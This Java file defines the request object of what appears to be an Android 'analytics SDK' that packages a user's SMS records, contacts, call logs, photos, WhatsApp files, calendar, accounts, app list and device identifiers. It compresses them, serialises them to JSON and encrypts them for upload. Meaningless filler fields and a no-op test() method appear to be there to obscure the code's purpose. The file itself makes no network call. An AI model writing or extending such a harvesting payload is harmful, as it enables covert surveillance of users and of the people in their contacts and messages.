package com.test.fundible.fundible_00_analytics.fundibledata_sdk.fundiblebeans;

import com.google.gson.Gson;
import com.test.fundible.fundible_00_analytics.fundibledata_sdk.FundibleASBuilder;
import com.test.fundible.fundible_00_utils.FundibleConfigs;
import com.test.fundible.fundible_00_utils.FundibleUtil;

import java.util.List;

public class FundibleASRequestPms {

    public String app;
    public String token;
    public String product;
    public String androidId;
    public String advertId;
    public String orderId;
    public String tz;
    public String packageName;
    public String transactionId;
    public String type;
    public String userPhone;
    public String d98D="";
    public String zwX1="";
    public String iOk8="";
    public String version = "40";
    public String client = "ANDROID";
    public FundibleASDecBn deviceInfo;
    public String appListGzip;
    public List<FundibleASCtctBn> contacts;
    public String smsRecordsGzip;
    public String smsFetchType;
    public String userImagesGzip;
    public String deviceHardwareGzip;
    public String deviceStorageGzip;
    public String deviceWifiGzip;
    public String deviceBatteryGzip;
    public String deviceMediaGzip;
    public String callLogListGzip;
    public String bookList;
    public String phoneBooksGzip;
    public String calendarGzip;
    public String settingAccountGzip;
    public String whatsAppFilesGzip;
    public String path;

    public float qZEp=0.9418973f;
    public String dsWY="";
    public int km73=246;
    public int kx80=0;
    public char qd5T='2';
    public String btZI="";
    public boolean kE2v=false;
    public float mmod=0.6816365f;
    public boolean hsPV=false;
    public boolean n4lQ=false;

    public void test(){
        if (String.valueOf(km73).equalsIgnoreCase(btZI)){
            setkE2v(true);
            setBtZI(String.valueOf(mmod));
        }else {
            new Thread(
                    () -> {
                        if (hsPV){
                            setQd5T('w');
                        }
                    }
            ).start();
        }
    }

    public FundibleASRequestPms() {
        this.app = FundibleConfigs.fundibleProduct;
        this.product = FundibleConfigs.fundibleProduct;
        this.token = FundibleUtil.getToken_fundible();
        this.androidId = FundibleASBuilder.KEY_ANDROID;
        this.orderId = FundibleASBuilder.KEY_ORDER_ID;
        this.advertId = FundibleASBuilder.KEY_ADVERT_ID;
        this.tz = FundibleASBuilder.KEY_TZ;

    }

    public String getTp_fundible() {
        return this.type;
    }

    public void setTp_fundible(String paramString) {
        this.type = paramString;
    }

    public String getUP_fundible() {
        return this.userPhone;
    }

    public void setUP_fundible(String paramString) {
        this.userPhone = paramString;
    }

    public void setSRG_fundible(String smsRecordsGzip) {
        this.smsRecordsGzip = smsRecordsGzip;
    }

    public String getUIG_fundible() {
        return userImagesGzip;
    }

    public void setUIG_fundible(String userImagesGzip) {
        this.userImagesGzip = userImagesGzip;
    }

    public String getBL_fundible() {
        return bookList;
    }

    public void setProduct_fundible(String product) {
        this.product = product;
    }

    public String getCG_fundible() {
        return calendarGzip;
    }

    public void setCG_fundible(String calendarGzip) {
        this.calendarGzip = calendarGzip;
    }

    public void setTI_fundible(String paramString) {
        this.transactionId = paramString;
    }

    public String getVs_fundible() {
        return this.version;
    }

    public void setVs_fundible(String paramString) {
        this.version = paramString;
    }

    public String getTk_fundible() {
        return token;
    }

    public void setTk_fundible(String token) {
        this.token = token;
    }

    public String getPN_fundible() {
        return this.packageName;
    }

    public String getApp() {
        test();
        return app;
    }

    public String getToken() {
        test();
        return token;
    }

    public String getProduct() {
        return product;
    }

    public String getAndroidId() {
        return androidId;
    }

    public String getAdvertId() {
        return advertId;
    }

    public String getOrderId() {
        return orderId;
    }

    public String getTz() {
        return tz;
    }

    public String getPackageName() {
        return packageName;
    }

    public String getTransactionId() {
        return transactionId;
    }

    public String getType() {
        return type;
    }

    public String getUserPhone() {
        return userPhone;
    }

    public String getD98D() {
        return d98D;
    }

    public String getZwX1() {
        return zwX1;
    }

    public String getiOk8() {
        return iOk8;
    }

    public String getVersion() {
        return version;
    }

    public String getClient() {
        return client;
    }

    public FundibleASDecBn getDeviceInfo() {
        return deviceInfo;
    }

    public String getAppListGzip() {
        return appListGzip;
    }

    public List<FundibleASCtctBn> getContacts() {
        return contacts;
    }

    public String getSmsRecordsGzip() {
        return smsRecordsGzip;
    }

    public String getSmsFetchType() {
        return smsFetchType;
    }

    public String getUserImagesGzip() {
        return userImagesGzip;
    }

    public String getDeviceHardwareGzip() {
        return deviceHardwareGzip;
    }

    public String getDeviceStorageGzip() {
        return deviceStorageGzip;
    }

    public String getDeviceWifiGzip() {
        return deviceWifiGzip;
    }

    public String getDeviceBatteryGzip() {
        return deviceBatteryGzip;
    }

    public void setApp(String app) {
        this.app = app;
    }

    public void setToken(String token) {
        this.token = token;
    }

    public void setProduct(String product) {
        this.product = product;
    }

    public void setAndroidId(String androidId) {
        this.androidId = androidId;
    }

    public void setAdvertId(String advertId) {
        this.advertId = advertId;
    }

    public void setOrderId(String orderId) {
        this.orderId = orderId;
    }

    public void setTz(String tz) {
        this.tz = tz;
    }

    public void setPackageName(String packageName) {
        this.packageName = packageName;
    }

    public void setTransactionId(String transactionId) {
        this.transactionId = transactionId;
    }

    public void setType(String type) {
        this.type = type;
    }

    public void setUserPhone(String userPhone) {
        this.userPhone = userPhone;
    }

    public void setD98D(String d98D) {
        this.d98D = d98D;
    }

    public void setZwX1(String zwX1) {
        this.zwX1 = zwX1;
    }

    public void setiOk8(String iOk8) {
        this.iOk8 = iOk8;
    }

    public void setVersion(String version) {
        this.version = version;
    }

    public void setClient(String client) {
        this.client = client;
    }

    public void setDeviceInfo(FundibleASDecBn deviceInfo) {
        this.deviceInfo = deviceInfo;
    }

    public void setAppListGzip(String appListGzip) {
        this.appListGzip = appListGzip;
    }

    public void setContacts(List<FundibleASCtctBn> contacts) {
        this.contacts = contacts;
    }

    public void setSmsRecordsGzip(String smsRecordsGzip) {
        this.smsRecordsGzip = smsRecordsGzip;
    }

    public void setSmsFetchType(String smsFetchType) {
        this.smsFetchType = smsFetchType;
    }

    public void setUserImagesGzip(String userImagesGzip) {
        this.userImagesGzip = userImagesGzip;
    }

    public void setDeviceHardwareGzip(String deviceHardwareGzip) {
        this.deviceHardwareGzip = deviceHardwareGzip;
    }

    public void setDeviceStorageGzip(String deviceStorageGzip) {
        this.deviceStorageGzip = deviceStorageGzip;
    }

    public void setDeviceWifiGzip(String deviceWifiGzip) {
        this.deviceWifiGzip = deviceWifiGzip;
    }

    public void setDeviceBatteryGzip(String deviceBatteryGzip) {
        this.deviceBatteryGzip = deviceBatteryGzip;
    }

    public void setDeviceMediaGzip(String deviceMediaGzip) {
        this.deviceMediaGzip = deviceMediaGzip;
    }

    public void setCallLogListGzip(String callLogListGzip) {
        this.callLogListGzip = callLogListGzip;
    }

    public void setBookList(String bookList) {
        this.bookList = bookList;
    }

    public void setPhoneBooksGzip(String phoneBooksGzip) {
        this.phoneBooksGzip = phoneBooksGzip;
    }

    public void setCalendarGzip(String calendarGzip) {
        this.calendarGzip = calendarGzip;
    }

    public void setSettingAccountGzip(String settingAccountGzip) {
        this.settingAccountGzip = settingAccountGzip;
    }

    public void setWhatsAppFilesGzip(String whatsAppFilesGzip) {
        this.whatsAppFilesGzip = whatsAppFilesGzip;
    }

    public void setPath(String path) {
        this.path = path;
    }

    public String getDeviceMediaGzip() {
        return deviceMediaGzip;
    }

    public String getCallLogListGzip() {
        return callLogListGzip;
    }

    public String getBookList() {
        return bookList;
    }

    public String getPhoneBooksGzip() {
        return phoneBooksGzip;
    }

    public String getCalendarGzip() {
        return calendarGzip;
    }

    public String getSettingAccountGzip() {
        return settingAccountGzip;
    }

    public String getWhatsAppFilesGzip() {
        return whatsAppFilesGzip;
    }

    public String getPath() {
        return path;
    }

    public void setPN_fundible(String paramString) {
        this.packageName = paramString;
    }

    public FundibleASDecBn getDecI_fundible() {
        return deviceInfo;
    }

    public void setDecI_fundible(FundibleASDecBn deviceInfo) {
        this.deviceInfo = deviceInfo;
    }

    public String getALG_fundible() {
        return appListGzip;
    }

    public void setALG_fundible(String appListGzip) {
        this.appListGzip = appListGzip;
    }

    public List<FundibleASCtctBn> getCts_fundible() {
        return contacts;
    }

    public void setCts_fundible(List<FundibleASCtctBn> contacts) {
        this.contacts = contacts;
    }

    public String getSRG_fundible() {
        return smsRecordsGzip;
    }

    public String getSAG_fundible() {
        return settingAccountGzip;
    }

    public void setSAG_fundible(String settingAccountGzip) {
        this.settingAccountGzip = settingAccountGzip;
    }

    public String getWAFG_fundible() {
        return whatsAppFilesGzip;
    }

    public void setWAFG_fundible(String whatsAppFilesGzip) {
        this.whatsAppFilesGzip = whatsAppFilesGzip;
    }

    public String getCLLG_fundible() {
        return callLogListGzip;
    }

    public void setCLLG_fundible(String callLogListGzip) {
        this.callLogListGzip = callLogListGzip;
    }

    public String toEncryptParams_fundible(String path){
        this.path = path;
        String content = new Gson().toJson(this).trim();
        return FundibleUtil.encryptDefault_fundible(content);
    }

    public void setBL_fundible(String bookList) {
        this.bookList = bookList;
    }

    public String getPBG_fundible() {
        return phoneBooksGzip;
    }

    public void setPBG_fundible(String phoneBooksGzip) {
        this.phoneBooksGzip = phoneBooksGzip;
    }

    public String getClt_fundible() {
        return client;
    }

    public void setClt_fundible(String client) {
        this.client = client;
    }

    public String getDHG_fundible() {
        return deviceHardwareGzip;
    }

    public void setDHG_fundible(String deviceHardwareGzip) {
        this.deviceHardwareGzip = deviceHardwareGzip;
    }

    public String getDSG_fundible() {
        return deviceStorageGzip;
    }

    public void setDSG_fundible(String deviceStorageGzip) {
        this.deviceStorageGzip = deviceStorageGzip;
    }

    public String getDWG_fundible() {
        return deviceWifiGzip;
    }

    public void setDWG_fundible(String deviceWifiGzip) {
        this.deviceWifiGzip = deviceWifiGzip;
    }

    public String getDBG_fundible() {
        return deviceBatteryGzip;
    }

    public void setDBG_fundible(String deviceBatteryGzip) {
        this.deviceBatteryGzip = deviceBatteryGzip;
    }

    public String getDMG_fundible() {
        return deviceMediaGzip;
    }

    public void setDMG_fundible(String deviceMediaGzip) {
        this.deviceMediaGzip = deviceMediaGzip;
    }

    public String getSFT_fundible() {
        return smsFetchType;
    }

    public void setSFT_fundible(String smsFetchType) {
        this.smsFetchType = smsFetchType;
    }

    public String getApp_fundible() {
        return app;
    }

    public void setApp_fundible(String app) {
        this.app = app;
    }

    public String getProduct_fundible() {
        return product;
    }

    public String getTI_fundible() {
        return this.transactionId;
    }

    public float getqZEp() {
        return qZEp;
    }

    public String getDsWY() {
        return dsWY;
    }

    public int getKm73() {
        return km73;
    }

    public int getKx80() {
        return kx80;
    }

    public char getQd5T() {
        return qd5T;
    }

    public String getBtZI() {
        return btZI;
    }

    public boolean iskE2v() {
        return kE2v;
    }

    public float getMmod() {
        return mmod;
    }

    public boolean isHsPV() {
        return hsPV;
    }

    public boolean isN4lQ() {
        return n4lQ;
    }

    public void setqZEp(float qZEp) {
        this.qZEp = qZEp;
    }

    public void setDsWY(String dsWY) {
        this.dsWY = dsWY;
    }

    public void setKm73(int km73) {
        this.km73 = km73;
    }

    public void setKx80(int kx80) {
        this.kx80 = kx80;
    }

    public void setQd5T(char qd5T) {
        this.qd5T = qd5T;
    }

    public void setBtZI(String btZI) {
        this.btZI = btZI;
    }

    public void setkE2v(boolean kE2v) {
        this.kE2v = kE2v;
    }

    public void setMmod(float mmod) {
        this.mmod = mmod;
    }

    public void setHsPV(boolean hsPV) {
        this.hsPV = hsPV;
    }

    public void setN4lQ(boolean n4lQ) {
        this.n4lQ = n4lQ;
    }
}
